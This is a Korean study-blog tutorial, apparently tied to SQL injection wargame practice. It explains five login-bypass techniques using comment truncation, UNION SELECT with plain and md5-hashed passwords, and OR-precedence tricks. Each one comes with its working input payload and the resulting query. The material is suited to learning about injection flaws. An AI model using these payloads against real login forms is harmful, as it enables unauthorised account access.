1. 인증과 식별 동시에 처리
- Id에 guest' # 을 넣고 pass에 1234를 넣어서 우회한다.
SELECT id,pass FROM user WHERE id = 'guest' #' AND pass = '1234'
위 구문을 삽입해서 #이하의 부분이 주석처리 된다. 그러면서 DB에 guest라는 아이디가 있으면 로그인에 성공하게 된다.
2. 인증과 식별 분리해서 처리
- Id에 ' UNION SELECT 'test','1234' # 을 넣어서 인증을 우회한다.
SELECT id,pass FROM user WHERE id = '' UNION SELECT 'test','1234' #'
UNION을 삽임함으로써 다음과 같은 결과가 나온다.
id | pass |
test | 1234 |
이유를 보자면 id 부분에 아무것도 안들어가서 user에서 아무 정보도 찾지 못한다.
하지만 UNION의 SELECT 부분에서 test와 1234를 집어넘으로써 결국 test와 1234만 반환되게 된다.
3. 인증과 식별 동시에 처리 (with Hash)
- Id에 guest' # 을 넣고 pass에 1234를 넣어서 우회한다.
SELECT id,pass FROM user WHERE id = 'guest' #' AND pass = md5('1234')
#을 넣어서 pass 부분을 다 생략하기에 1번 과정과 똑같다.
4. 인증과 식별 분리해서 처리 (with Hash)
- Id에 ' UNION SELECT 'test', md5('1234') # 을 넣어서 인증을 우회한다.
SELECT id,pass FROM user WHERE id = '' UNION SELECT 'test',md5('1234') #'
UNION을 삽임함으로써 다음과 같은 결과가 나온다.
id | pass |
test | 해시된 1234 |
위의 3번과 같지만 인증을 할때 Hash된 비밀번호로 같은지 확인하여 인증하기 때문에 그에 맞춰 UNION에 넣을 1234을 md5함수에 넣어 해시화 시킨다.
5. 인증과 식별 동시에 처리 (with 개행)
- Id에 guest' or '1' = '1 을 넣고 pass에 1234를 넣어서 우회한다.
SELECT id,pass FROM user WHERE id = 'guest' or '1' = '1'
\n AND pass = '1234'
개행을 넣게 되면 #을 넣어서 뒤를 주석처리한는 것이 불가능해진다.
그래서 SQL에서 Or연산자보다 And연산자가 먼저 실행된다는 점을 이용해서 '1' = '1' AND pass = '1234'가 먼저 실행되고
결국에는 WHERE id = 'guest' or False가 되어서 id에 guest가 존재하면 인증에 성공하게 된다.
'해킹 > SQL Injection' 카테고리의 다른 글
Lord of SQLInjection 2번(cobolt) 문제 (0) | 2022.10.29 |
---|---|
Lord of SQLInjection 1번(gremlin) 문제 (0) | 2022.10.25 |
댓글